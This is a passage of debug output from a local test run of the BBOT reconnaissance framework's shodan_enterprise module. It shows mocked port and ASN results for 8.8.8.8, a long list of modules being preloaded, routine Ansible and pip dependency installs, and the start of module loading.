OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,379 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,379 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:55:02,460 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:55:02,461 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,461 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:55:02,462 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,462 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:55:02,463 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:55:02,463 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:55:02,463 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,464 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:55:02,464 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:55:02,466 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:55:02,467 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:55:02,467 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:55:02,467 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:55:02,468 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:55:02,468 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:55:02,568 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:55:02,569 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:55:02,588 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:55:02,588 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:55:02,589 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:55:02,596 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:55:02,596 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:55:02,597 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:55:02,598 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:55:02,599 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:55:02,599 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:55:02,715 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_hk0jqnboz8 completed in 0 seconds with status FINISHED +2026-03-01 16:55:02,715 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:55:02,716 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:55:53,416 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 16:55:53,426 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 16:55:53,427 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 16:55:53,428 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 16:55:53,429 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 16:55:53,430 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 16:55:53,430 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 16:55:53,431 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 16:55:53,432 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 16:55:53,432 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 16:55:53,433 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 16:55:53,434 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 16:55:53,438 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 16:55:53,439 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 16:55:53,440 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 16:55:53,440 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 16:55:53,441 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 16:55:53,442 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 16:55:53,443 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 16:55:53,444 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 16:55:53,444 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 16:55:53,445 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 16:55:53,446 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 16:55:53,446 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 16:55:53,447 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 16:55:53,448 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 16:55:53,449 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 16:55:53,449 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 16:55:53,450 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 16:55:53,450 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 16:55:53,451 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 16:55:53,451 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 16:55:53,452 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 16:55:53,453 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 16:55:53,454 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 16:55:53,454 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 16:55:53,455 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 16:55:53,455 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 16:55:53,461 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 16:55:53,461 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 16:55:53,462 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 16:55:53,463 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 16:55:53,464 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 16:55:53,465 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 16:55:53,466 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 16:55:53,466 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 16:55:53,467 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 16:55:53,467 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 16:55:53,469 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 16:55:53,470 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 16:55:53,471 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 16:55:53,472 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 16:55:53,472 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 16:55:53,473 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 16:55:53,474 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 16:55:53,474 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 16:55:53,475 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 16:55:53,475 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 16:55:53,476 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 16:55:53,476 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 16:55:53,477 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 16:55:53,478 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 16:55:53,478 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 16:55:53,479 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 16:55:53,479 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 16:55:53,481 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 16:55:53,482 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 16:55:53,482 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 16:55:53,483 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 16:55:53,483 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 16:55:53,484 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 16:55:53,484 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 16:55:53,485 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 16:55:53,486 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 16:55:53,486 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 16:55:53,487 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 16:55:53,487 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 16:55:53,488 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 16:55:53,489 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 16:55:53,489 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 16:55:53,490 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 16:55:53,490 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-01 16:55:53,491 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-01 16:55:53,491 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-01 16:55:53,492 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-01 16:55:53,492 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-01 16:55:53,493 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-01 16:55:53,494 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-01 16:55:53,494 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:55:53,495 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:55:53,495 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:55:53,496 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:55:53,497 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:55:53,497 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:55:53,498 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:55:53,499 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:55:53,499 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:55:53,500 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:55:53,500 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:55:53,501 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:55:53,502 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:55:53,503 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:55:53,503 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:55:53,504 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:55:53,504 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:55:53,505 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:55:53,505 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:55:53,506 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:55:53,507 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:55:53,507 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:55:53,508 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:55:53,508 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:55:53,509 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:55:53,509 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:55:53,510 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:55:53,511 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:55:53,511 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-03-01 16:55:53,512 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-01 16:55:53,513 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:55:53,514 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:55:53,515 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:55:53,515 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:55:53,516 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:55:53,516 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:55:53,517 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:55:53,518 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:55:53,518 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:55:53,518 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-03-01 16:55:53,519 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-01 16:55:53,520 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-01 16:55:53,520 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-01 16:55:53,521 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-01 16:55:53,522 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-01 16:55:53,523 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-01 16:55:53,523 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-01 16:55:53,524 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-01 16:55:53,525 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-01 16:55:53,525 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-01 16:55:53,526 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-01 16:55:53,527 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-01 16:55:53,528 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-01 16:55:53,528 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-01 16:55:53,529 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-01 16:55:53,530 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-01 16:55:53,530 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-01 16:55:53,531 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-01 16:55:53,532 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-01 16:55:53,533 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-01 16:55:53,534 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-01 16:55:53,534 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:55:53,535 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:55:53,535 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:55:53,536 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 16:55:53,537 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-03-01 16:55:53,537 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-01 16:55:53,538 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-01 16:55:53,538 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-01 16:55:53,539 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-01 16:55:53,540 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-01 16:55:53,541 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-01 16:55:53,541 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-01 16:55:53,544 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-01 16:55:53,545 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-01 16:55:53,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-01 16:55:53,547 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-01 16:55:53,548 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-01 16:55:53,548 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-01 16:55:53,550 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-01 16:55:53,550 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-01 16:55:53,551 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-01 16:55:54,648 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:55:54,648 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:55:54,649 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:55:54,787 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:55:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:55:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:55:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:55:55,360 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:55:55,559 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:55:55,561 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:55:55,671 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:55:55,671 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:55:55,726 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:55:55,729 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:55:55,729 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:55:56,161 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:55:56,162 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:56:00,001 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:56:00,001 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:56:00,002 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:56:01,798 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:56:01,799 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:56:01,804 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:01,805 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:56:01,805 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:56:01,805 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:56:01,810 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/jmj6ppypvlcqctlatdkh +2026-03-01 16:56:02,603 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:56:02,604 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:56:02,604 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:02,605 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:56:02,605 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:02,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:56:02,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:56:02,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:56:02,607 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:56:02,735 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:56:02,736 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:56:02,736 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:56:02,737 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:56:02,737 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:56:02,738 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:56:02,738 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:56:02,738 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:56:02,738 [INFO] 